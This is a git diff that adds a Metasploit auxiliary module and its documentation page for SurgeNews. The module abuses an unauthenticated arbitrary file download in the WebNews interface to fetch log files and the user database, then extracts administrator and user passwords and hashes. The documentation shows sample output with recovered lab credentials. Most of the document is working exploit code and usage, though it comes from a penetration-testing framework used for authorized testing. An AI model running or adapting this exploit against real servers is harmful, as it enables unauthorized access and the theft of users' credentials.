diff --git a/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md new file mode 100644 index 0000000000..d34b05a61a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/surgenews_user_creds.md @@ -0,0 +1,70 @@ +## Description + + This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files. + + This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users. + + +## Vulnerable Application + + [SurgeNews](http://netwinsite.com/surgenews/) is a high performance, fully threaded, next generation News Server with integrated WebNews interface. + + This module has been tested successfully on: + + * SurgeNews version 2.0a-13 on Windows 7 SP 1. + * SurgeNews version 2.0a-12 on Ubuntu Linux. + + Installers: + + * [SurgeNews Installers](http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgenews) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/scanner/http/surgenews_user_creds` + 3. Do: `set rhosts [IP]` + 4. Do: `run` + 5. You should get credentials + + +## Scenarios + + ``` + msf > use auxiliary/scanner/http/surgenews_user_creds + msf auxiliary(surgenews_user_creds) > set rhosts 172.16.191.133 172.16.191.166 + rhosts => 172.16.191.133 172.16.191.166 + msf auxiliary(surgenews_user_creds) > run + + [+] Found administrator credentials (admin:admin) + + SurgeNews User Credentials + ========================== + + Username Password Password Hash Admin + -------- -------- ------------- ----- + admin admin true + qwerty@bt {ssha}BuFLjIFUUSy1IltX3AuN420qV2ZFU7EL false + user@bt {ssha}HFTkDsnNlLiaHN+sIS9VQarVGGXmYISn false + + [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.133_surgenews.user.c_633569.txt + [*] Scanned 1 of 2 hosts (50% complete) + [+] Found administrator credentials (test:test) + [+] Found user credentials (zxcv@win-sgbsd5tqutq:zxcv) + + SurgeNews User Credentials + ========================== + + Username Password Password Hash Admin + -------- -------- ------------- ----- + asdf@win-sgbsd5tqutq {ssha}8ytixKjxf3kaBc6T471R1Re/C8MUnKnF false + test test true + test@win-sgbsd5tqutq {ssha}Vw8EkFxAJuiZrb98Fz+sdr/yEEmBZ2Jc false + test@win-sgbsd5tqutq {ssha}j4teSf4CgA3+XVRJscFHyqoOQJRoLg4K false + zxcv@win-sgbsd5tqutq zxcv false + + [+] Credentials saved in: /root/.msf4/loot/20170616185817_default_172.16.191.166_surgenews.user.c_077983.txt + [*] Scanned 2 of 2 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + diff --git a/modules/auxiliary/scanner/http/surgenews_user_creds.rb b/modules/auxiliary/scanner/http/surgenews_user_creds.rb new file mode 100644 index 0000000000..70a0c31ecd --- /dev/null +++ b/modules/auxiliary/scanner/http/surgenews_user_creds.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + HttpFingerprint = { :pattern => [ /DManager/ ] } + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'SurgeNews User Credentials', + 'Description' => %q{ + This module exploits a vulnerability in the WebNews web interface + of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated + users to download arbitrary files from the software root directory; + including the user database, configuration files and log files. + + This module extracts the administrator username and password, and + the usernames and passwords or password hashes for all users. + + This module has been tested successfully on SurgeNews version + 2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux. + }, + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'], + ], + 'Author' => 'Brendan Coles ', + 'DisclosureDate' => 'Jun 16 2017')) + register_options [ Opt::RPORT(9080) ] + deregister_options 'RHOST' + end + + def max_retries + 3 + end + + def check_host(ip) + @tries = 0 + res = read_file 'install.log' + if res =~ /SurgeNews/ + return Exploit::CheckCode::Vulnerable + end + Exploit::CheckCode::Safe + end + + def read_file(file) + data = nil + @tries += 1 + vprint_status "Retrieving file: #{file}" + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'), + 'vars_get' => { 'cmd' => 'part', 'fname' => file } + if !res + vprint_error 'Connection failed' + elsif res.code == 550 + vprint_error "Could not find file '#{file}'" + elsif res.code == 200 && res.body =~ /550 Key: No key activated/ + # unregistered software throws an error once in every ~20 requests + # try again... + if @tries >= max_retries + vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})" + else + vprint_status 'Retrying...' + return read_file file + end + elsif res.code == 200 && !res.body.empty? + vprint_good "Found #{file} (#{res.body.length} bytes)" + data = res.body + else + vprint_error 'Unexpected reply' + end + @tries = 0 + data + end + + def parse_log(log_data) + return if log_data.nil? + username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last + password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last + { 'username' => username, 'password' => password } + end + + def parse_user_db(user_data) + return if user_data.nil? + creds = [] + user_data.lines.each do |line| + next if line.eql? '' + if line =~ /^(.+?):(.*):Groups=/ + user = $1 + pass = $2 + # clear text credentials are prefaced with '*' + if pass.starts_with? '*' + creds << { 'username' => user, 'password' => pass[1..-1] } + # otherwise its a hash + else + creds << { 'username' => user, 'hash' => pass } + end + end + end + creds + end + + def run_host(ip) + @tries = 0 + + service_data = { address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id } + + cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Password', 'Password Hash', 'Admin'] + + # Read administrator password from password.log + admin = parse_log read_file 'password.log' + # If password.log doesn't contain credentials + # then the password hasn't been updated since install. + # Retrieve the credentials from install.log instead. + admin = parse_log read_file 'install.log' if admin.nil? + + if admin.nil? + vprint_error 'Found no administrator credentials' + else + print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})" + cred_table << [admin['username'], admin['password'], nil, true] + + credential_data = { origin_type: :service, + module_fullname: fullname, + private_type: :password, + private_data: admin['password'], + username: admin['username'] } + + credential_data.merge! service_data + credential_core = create_credential credential_data + login_data = { core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED } + login_data.merge! service_data + create_credential_login login_data + end + + # Read user credentials from nwauth.add + users = parse_user_db read_file 'nwauth.add' + if users.nil? + vprint_error 'Found no user credentials in nwauth.add' + else + vprint_status "Found #{users.length} users in nwauth.add" + end + + users.each do |user| + next if user.empty? + + cred_table << [user['username'], user['password'], user['hash'], false] + + if user['password'] + print_good "Found user credentials (#{user['username']}:#{user['password']})" + credential_data = { origin_type: :service, + module_fullname: fullname, + private_type: :password, + private_data: user['password'], + username: user['username'] } + else + credential_data = { origin_type: :service, + module_fullname: fullname, + private_type: :nonreplayable_hash, + private_data: user['hash'], + username: user['username'] } + end + + credential_data.merge! service_data + credential_core = create_credential credential_data + login_data = { core: credential_core, + access_level: 'User', + status: Metasploit::Model::Login::Status::UNTRIED } + login_data.merge! service_data + create_credential_login login_data + end unless users.nil? + + print_line + print_line cred_table.to_s + + p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials' + print_good "Credentials saved in: #{p}" + end +end